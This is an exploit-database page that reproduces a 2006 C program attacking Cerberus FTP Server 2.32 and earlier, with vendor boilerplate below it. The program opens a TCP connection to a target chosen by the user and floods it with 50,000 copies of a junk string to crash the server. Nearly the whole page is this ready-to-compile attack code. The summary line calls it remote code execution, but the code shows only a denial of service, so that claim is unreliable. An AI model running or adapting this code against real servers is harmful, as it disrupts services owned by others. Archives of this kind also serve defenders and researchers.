Lucene search
+L

Cerberus FTP Server <= 2.32 Denial of Service Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 27 Views

Cerberus FTP Server <= 2.32 Denial of Service Exploit. Remote code execution via crafted reques

Code

                                                /*
Cerberus FTP Server 2.32 Denial of Service
original advisory: http://kapda.ir/advisory-210.html
cerberus_232_dos_remote_xpl.c
*/

#include &#60;stdio.h&#62;
#include &#60;sys/socket.h&#62;
#include &#60;sys/types.h&#62;
#include &#60;netinet/in.h&#62;
#include &#60;netdb.h&#62;

#define  POCSTR &#34;%s&#34;

int header();
int usage(char *filename);
int remote_connect( char* ip, unsigned short port );

int header() {
printf(&#34;\n[i] KAPDA - Computer Security Science Researchers Institute\n\n&#34;);
printf(&#34;[i] Title:              \tCerberus FTP Server &#60;= v2.32 Dos Exploit\n&#34;);
printf(&#34;[i] Discovered by:      \tcvh {a] kapda.ir\n&#34;);
printf(&#34;[i] Exploit by:         \tPi3cH {a] kapda.ir\n&#34;);
printf(&#34;[i] More info:          \twww.kapda.ir/page-advisory.html\n\n&#34;);
return 0;
}

int usage(char *filename) {
printf(&#34;[i] Usage:   \t%s HOST PORT\n&#34;,filename);
printf(&#34;[i] Example: \t%s 127.0.0.1 21\n\n&#34;,filename);
exit(0);
}

int remote_connect( char* ip, unsigned short port )
{
int s;
struct sockaddr_in remote_addr;
struct hostent* host_addr;

memset ( &remote_addr, 0x0, sizeof ( remote_addr ) );
if ( ( host_addr = gethostbyname ( ip ) ) == NULL )
{
printf ( &#34;[e] Cannot resolve \&#34;%s\&#34;\n&#34;, ip );
exit ( 1 );
}
remote_addr.sin_family = AF_INET;
remote_addr.sin_port = htons ( port );
remote_addr.sin_addr = * ( ( struct in_addr * ) host_addr-&#62;h_addr );
if ( ( s = socket ( AF_INET, SOCK_STREAM, 0 ) ) &#60; 0 )
{
printf ( &#34;[e] Socket failed!\n&#34; );
exit(1);
}
if ( connect ( s, ( struct sockaddr * ) &remote_addr, sizeof ( struct sockaddr ) ) ==  -1 )
{
printf ( &#34;[e] Failed connecting!\n&#34; );
       exit(1);
}
return ( s );
}


int main(int argc, char *argv[]) {
 int s,i;
 char *request;
 char junk_data[] = &#34;DoS-JUNK-DATA.:(CVH):.\x0d\x0a&#34;;
 header();
 if( (argc &#60; 2) )
     usage(argv[0]);
 request = (char *) malloc(1024);
 printf(&#34;[r] Connecting to remote host\n&#34;);
 s = remote_connect(argv[1],atoi(argv[2]));
 sleep(1);
 printf(&#34;[r] Creating buffer\n&#34;);
 sprintf(request,POCSTR,junk_data);
 printf(&#34;[r] Sending %d bytes of DOS buffer\n&#34;,strlen(request));
 for(i=0;i&#60;50000;i++)
  if ( send ( s, request, strlen (request), 0) &#60;= 0 )
  {
          printf(&#34;[e] Failed to send buffer\n&#34;);
          close(s);
          exit(1);
  }
 sleep(1);
 printf(&#34;[s] Exploit Done!\n&#34;);
 close(s);
 free(request);
 request = NULL;
 return 0;
}

// milw0rm.com [2006-01-16]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
27